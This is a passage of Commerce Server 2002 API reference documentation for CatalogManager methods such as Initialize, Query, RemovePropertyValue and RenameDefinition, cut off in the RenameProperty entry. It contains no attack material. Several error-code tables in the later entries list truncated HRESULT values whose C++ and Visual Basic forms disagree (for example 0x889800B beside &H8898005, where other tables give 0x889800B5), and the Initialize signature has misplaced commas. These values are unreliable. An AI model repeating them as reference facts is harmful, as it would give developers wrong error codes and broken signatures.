  • If you call this method from Visual Basic Scripting Edition (VBScript) with the fRunSynchronously parameter set to False, VBScript will unload the object as soon as the script ends. If the script ends before the spawned thread finishes importing the catalog, it will be terminated prematurely and the catalog will not be imported successfully.

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

The names of catalogs in the source file cannot begin with the character "#" or consist solely of spaces.

If a property existing in the catalog has one data type and the property of the same name existing in the import file has a different data type, the import will fail. For example, the catalog has a SKU property that is a String, and the XML file being imported has a SKU property that is an Integer. This will cause an error.

Additionally, if the minimum and maximum values of a property in the XML file do not match the minimum and maximum values of a property in the Product Catalog System and the property is used in one or more catalogs, then the import will fail; otherwise, the import will update the minimum and maximum values of that property.

[Visual Basic]

Setting the parameter fGenerateFullTextIndexes to False can significantly decrease import time when importing many catalogs from the same file. Use the ProductCatalog.RegenerateFreeTextSearchIndex method to create the indexes after the import has completed.

[C++]

Setting the parameter fGenerateFullTextIndexes to False can significantly decrease import time when importing many catalogs from the same file. Use the IProductCatalog3::RegenerateFreeTextSearchIndex method to create the indexes after the import has completed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.ImportXML "c:\imports\ourcatalog.xml", TRUE

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::ExportXML

[Visual Basic] CatalogManager.ExportXML

[C++] ICatalogManager3::ImportCSV

[Visual Basic] CatalogManager.ImportCSV


ICatalogManager3::Initialize Method [C++]

CatalogManager.Initialize Method [Visual Basic]

Use this method to initialize a CatalogManager object. This method should be called once before calling any other methods or properties.

Definition

[C++]
HRESULT ICatalogManager3::Initialize(
  BSTR strConfigString,
  VARIANT_BOOL fIsADOConnectionString
  VARIANT lNumFullTextCatalogs,
);
[Visual Basic]
Sub Initialize(
  strConfigString As String,
  fIsADOConnectionString As Boolean
  Optional lNumFullTextCatalogs As Variant,
)

Parameters

strConfigString [C++]
[in] A BSTR that contains the configuration string.
strConfigString [Visual Basic]
A String that contains the configuration string.
fIsADOConnectionString [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that determines whether the strConfigString parameter refers to an ActiveX Data Object (ADO) connection string or a site name. A value of True indicates an ADO connection string. A value of False indicates a site name.
fIsADOConnectionString [Visual Basic]
A Boolean that determines whether the strConfigString parameter refers to an ADO connection string or a site name. A value of True indicates an ADO connection string. A value of False indicates a site name. The default is False.
lNumFullTextCatalogs [C++]
[in, optional] A VARIANT that contains the maximum number of full text catalogs (indexes) to create. The default and maximum value is 256.
lNumFullTextCatalogs [Visual Basic]
A Variant that contains the maximum number of full text catalogs (indexes) to create. The default and maximum value is 256.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATMGR_ALREADY_INITIALIZED | [C++] 0x88980062 [Visual Basic] &H88980062 | The CatalogManager object has already been initialized. Each catalog manager object can be initialized only once.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid
E_CAT_INVALID_NUMFULLTEXT_CATALOGS | [C++] 0x889800E8 [Visual Basic] &H889800E8 | The number of fulltext catalogs to create should be between 0 and 256
E_CAT_CATALOGRESOURCE_INIT_FAILED | [C++] 0x88980030 [Visual Basic] &H88980030 | Unable to read the Product Catalog Resource from the site specified. Check that the Commerce.Adminhlpr component (Adminhlpr.dll) is registered, the site name is valid, and the site contains the Product Catalog Resource.
E_CAT_INVALID_CATALOG_SCHEMA | [C++] 0x889800D8 [Visual Basic] &H889800D8 | The Catalog Schema does not correspond to this version of Commerce Server 2002.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When the CatalogManager object has full text search enabled, creating or importing a product catalog will create a separate full text search-enabled catalog (index) until the number of indexes equals the value of the parameter lNumFullTextCatalogs. After the maximum number of indexes have been created, new product catalogs will share existing indexes. Each new product catalog will be assigned to whichever index is smallest at the time the product catalog is created.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.Initialize strConfigString, TRUE

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::Query Method [C++]

CatalogManager.Query Method [Visual Basic]

Use this method to perform queries against product, variant, and category data in one or more catalogs. This method is included for backward compatibility only since it does not support Commerce Server 2002 features such as multi-language catalogs. The recommended method for enabling the Query method functionality is the Search method.

Definition

[C++]
HRESULT ICatalogManager3::Query(
  BSTR strPhrase,
  VARIANT strCatalogsToSearch,
  VARIANT eClassTypeRequired,
  VARIANT strPropertiesToReturn,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSResult
);
[Visual Basic]
Function Query(
  strPhrase As String,
  Optional strCatalogsToSearch As Variant,
  Optional eClassTypeRequired As Variant,
  Optional strPropertiesToReturn As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

strPhrase [C++]
[in] A BSTR that contains the search phrase.
strPhrase [Visual Basic]
A String that contains the search phrase.
strCatalogsToSearch [C++]
[in, optional] A VARIANT that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
strCatalogsToSearch [Visual Basic]
A Variant that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired [C++]
[in, optional] A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn [C++]
[in, optional] A VARIANT that contains the properties to return as a comma-separated list.
strPropertiesToReturn [Visual Basic]
A Variant that contains the properties to return as a comma-separated list.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending [C++]
[in, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record to retrieve. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records matching the query.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of records matching the query.
ppRSResult [C++]
[out, retval] A pointer to a _Recordset object used to return the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object containing the search results.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011D [Visual Basic] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | Query failed. The recordset is now NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C++] 0x8898000F [Visual Basic] &H8898000F | When performing a query against multiple catalogs, you should specify the actual properties to return.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The plTotalRecordsInQuery and ppRSResult parameters contain valid data only if the method completes successfully.

[Visual Basic] The returned Recordset object and the plTotalRecordsInQuery parameter contain valid data only if the method completes successfully.

The Query method is used to perform arbitrary queries against product, product-variant, and category data in one or more catalogs. The strPhrase parameter is very similar to the ADO recordset Filter property. Simple queries should follow the key-operator-value convention (for example, length < 100). Queries whose value is a String data type should enclose that value in single quotes (for example, color = 'Blue'); additionally, if the string value contains unicode characters then it should be preceded with an N (for example, color = N'blue').

More sophisticated queries can be constructed by using the AND and OR operators to group multiple clauses, such as (level > 10) OR (Name = 'Bob' AND Title='CPA').

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

The search results for multilingual catalogs will be returned in a single language. The language will be selected differently depending on the number of catalogs specified in the strCatalogsToSearch parameter. If a single catalog is specified, the results will be returned in the default language of the catalog. If multiple catalogs are specified, the results will be returned in the default system language of the Web server. If a catalog does not support the selected language only language insensitive properties will be returned for that catalog.

Use the Search method to specify the search language or for doing a free-text search and a query simultaneously.

The programming rules regarding the strPropertiesToReturn parameter vary depending if a single catalog name is passed in the strCatalogsToSearch parameter, or if multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter. When specifying properties to return, or when specifying the strPropertyToSortOn parameter, enclose the field names in square brackets to avoid unintentional side effects in the SQL query created by this method. For example, use "[Property1], [Property2]" to specify two properties.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'plTotalRecordsInQuery is an existing Long.
'Examine it after the method returns to see if
'there are more records to get.
Set rsQueryResults = myCatalogManager.Query("[Productid]='blue suede'", "ShoeCatalog", cscProductClass,"Price, SKU, Size", "SKU", TRUE, 1, 25, plTotalRecordsInQuery)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::FreeTextSearch

[Visual Basic] CatalogManager.FreeTextSearch


ICatalogManager3::RebuildAllVirtualCatalogs Method [C++]

CatalogManager.RebuildAllVirtualCatalogs Method [Visual Basic]

Use this method to rebuild all the virtual catalogs in the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::RebuildAllVirtualCatalogs(
  VARIANT_BOOL fRunSynchronously,
  VARIANT_BOOL fForceRebuild
);
[Visual Basic]
Sub RebuildAllVirtualCatalogs(
  Optional fRunSynchronously As Boolean,
  Optional fForceRebuild As Boolean
)

Parameters

fRunSynchronously [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously. The default value is False.
fForceRebuild [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuild. A value of False indicates that only dirty catalogs will be rebuilt.
fForceRebuild [Visual Basic]
A Boolean that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuild. A value of False indicates that only dirty catalogs will be rebuilt. The default value is False.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.

Remarks

Virtual catalogs will only be rebuilt if there has been a rule change, a product deletion, or a category deletion that would affect the contents of the catalog unless the fForceRebuild parameter is set to True.

[C++] If you want to rebuild a specific virtual catalog or the virtual catalogs that are dependant on a specific base catalog use IProductCatalog3::RebuildVirtualCatalog.

[Visual Basic] If you want to rebuild a specific virtual catalog or the virtual catalogs that are dependant on a specific base catalog use ProductCatalog.RebuildVirtualCatalog.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RebuildAllVirtualCatalogs

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] IProductCatalog3::RebuildVirtualCatalog

[Visual Basic] ProductCatalog.RebuildVirtualCatalog


ICatalogManager3::RemoveCatalogAttribute Method [C++]

CatalogManager.RemoveCatalogAttribute Method [Visual Basic]

Use this method to remove a user-defined catalog attribute from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::RemoveCatalogAttribute(
  BSTR strAttributeName
);
[Visual Basic]
Sub RemoveCatalogAttribute(
  strAttributeName As String
)

Parameters

strAttributeName [C++]
[in] A BSTR that contains the name of the attribute to be removed.
strAttributeName [Visual Basic]
A String that contains the name of the attribute to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C++] 0x88980117 [Visual Basic] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_BUILTIN_CATALOG_ATTRIBUTE | [C++] 0x889800B0 [Visual Basic] &H889800B0 | The catalog attribute that you specified is a built in catalog attribute and hence cannot be added or removed.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_CATALOG_ATTR _DOES_NOT_EXIST | [C++] 0x88980112 [Visual Basic] &H88980112 | The catalog attribute that you specified does not exist.

Remarks

If the attribute specified in the strAttributeName parameter does not exist, the method will complete successfully and return S_OK.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RemoveCatalogAttribute("Color")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::RemoveDefinitionProperty Method [C++]

CatalogManager.RemoveDefinitionProperty Method [Visual Basic]

Use this method to remove the specified property or variant property from the specified definition.

Definition

[C++]
HRESULT ICatalogManager3::RemoveDefinitionProperty(
  BSTR strDefinitionName,
  BSTR strPropertyName
);
[Visual Basic]
Sub RemoveDefinitionProperty(
  strDefinitionName As String,
  strPropertyName As String
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition for which the specified property will be removed.
strDefinitionName [Visual Basic]
A String that contains the name of the definition for which the specified property will be removed.
strPropertyName [C++]
[in] A BSTR that contains the name of the property to be removed.
strPropertyName [Visual Basic]
A String that contains the name of the property to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property Names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The definition you specified does not exist.
E_CAT_PROP_NOT_IN_DEFINITION | [C++] 0x8898000 [Visual Basic] &H889800E | The property you specified is not part of that definition.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When you remove a property from a definition, it is also removed from any products, product-variants, or categories created from that definition.

Caution

  • Use caution when using this method. In most cases, calling this method results in the deletion of data.
  • Removing the last variant property in a product family definition will convert it to a product definition and will remove all existing product variants based on this definition.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RemoveDefinitionProperty "T-Shirts", "Color"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionProperty

[Visual Basic] CatalogManager.AddDefinitionProperty

[C++] ICatalogManager3::AddDefinitionVariantProperty

[Visual Basic] CatalogManager.AddDefinitionVariantProperty

[C++] ICatalogManager3::GetDefinitionProperties

[Visual Basic] CatalogManager.GetDefinitionProperties


ICatalogManager3::RemovePropertyAttribute Method [C++]

CatalogManager.RemovePropertyAttribute Method [Visual Basic]

Use this method to remove a custom property attribute from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::RemovePropertyAttribute(
  BSTR strAttrName
);
[Visual Basic]
Sub RemovePropertyAttribute(
  strAttrName As String
)

Parameters

strAttrName [C++]
[in]A BSTR that contains the name of the attribute to be removed.
strAttrName [Visual Basic]
A String that contains the name of the attribute to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C++] 0x88980117 [Visual Basic] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C++] 0x88980074 [Visual Basic] &H88980074 | The datatype you specified is invalid
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C++] 0x88980040 [Visual Basic] &H88980040 | The length specified for this property is not between 1 and 4000.
E_CAT_BUILTIN_ATTRIBUTE | [C++] 0x889800A7 [Visual Basic] &H889800A7 | The property attribute that you specified is a built in attribute and hence cannot be added or removed from the Product Catalog System.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_ATTRIBUTE_DOES_NOT_EXIST | [C++] 0x88980111 [Visual Basic] &H88980111 | The property attribute that you specified does not exist

Remarks

Only custom attributes may be removed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RemovePropertyAttribute("DisplayType")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::RemovePropertyValue Method [C++]

CatalogManager.RemovePropertyValue Method [Visual Basic]

Use this method to remove a defined value from an enumeration property.

Definition

[C++]
HRESULT ICatalogManager3::RemovePropertyValue(
  BSTR strPropertyName,
  BSTR strLegalValue,
  BSTR strLang
);
[Visual Basic]
Sub RemovePropertyValue(
  strPropertyName As String,
  strLegalValue As String,
  Optional strLang As String
)

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the enumeration property from which the specified value will be removed.
strPropertyName [Visual Basic]
A String that contains the name of the enumeration property from which the specified value will be removed.
strLegalValue [C++]
[in] A BSTR that contains the defined value to be removed as a choice from the specified enumeration property.
strLegalValue [Visual Basic]
A String that contains the defined value to be removed as a choice from the specified enumeration property.
strLang [C++]
[in, optional] A BSTR that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_ENUMERATED_VALUE | [C++] 0x889800E [Visual Basic] &H8898009 | The value you specified for the enumerated property exceeds 128 characters
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_NOT_ENUM | [C++] 0x8898000 [Visual Basic] &H8898007 | The property you specified is not the "cscEnumeration" data-type. This operation can only be performed on these types of Properties.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When a value is removed from an enumeration type property all products that have that property set to that value will have the value changed to NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RemovePropertyValue "Color", "blue_in_fr", "fr"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddPropertyValue

[Visual Basic] CatalogManager.AddPropertyValue

[C++] ICatalogManager3::GetPropertyValues

[Visual Basic] CatalogManager.GetPropertyValues

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


ICatalogManager3::RenameDefinition Method [C++]

CatalogManager.RenameDefinition Method [Visual Basic]

Use this method to rename a definition.

Definition

[C++]
HRESULT ICatalogManager3::RenameDefinition(
  BSTR strOldName,
  BSTR strNewName
);
[Visual Basic]
Sub RenameDefinition(
  strOldName As String,
  strNewName As String
)

Parameters

strOldName [C++]
[in] A BSTR that contains the existing name of the definition.
strOldName [Visual Basic]
A String that contains the existing name of the definition.
strNewName [C++]
[in] A BSTR that contains the new name for the definition.
strNewName [Visual Basic]
A String that contains the new name for the definition.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C++] 0x8898000 [Visual Basic] &H889800A | The Definition you specified already exists.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The Definition you specified does not exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method affects every product and category using the definition.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RenameDefinition "T-Shirts", "Tee-Shirts"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::RenameProperty

[Visual Basic] CatalogManager.RenameProperty


ICatalogManager3::RenameProperty Method [C++]

CatalogManager.RenameProperty Method [Visual Basic]

Use this method to rename a property.

Definition

[C++]
HRESULT ICatalogManager3::RenameProperty(
  BSTR strOldPropertyName,
  BSTR strNewPropertyName
);
[Visual Basic]
Sub RenameProperty(
  strOldPropertyName As String,
  strNewPropertyName As String
)

Parameters

strOldPropertyName [C++]
[in] A BSTR that contains the existing name of the property.
strOldPropertyName [Visual Basic]
A String that contains the existing name of the property.
strNewPropertyName [C++]
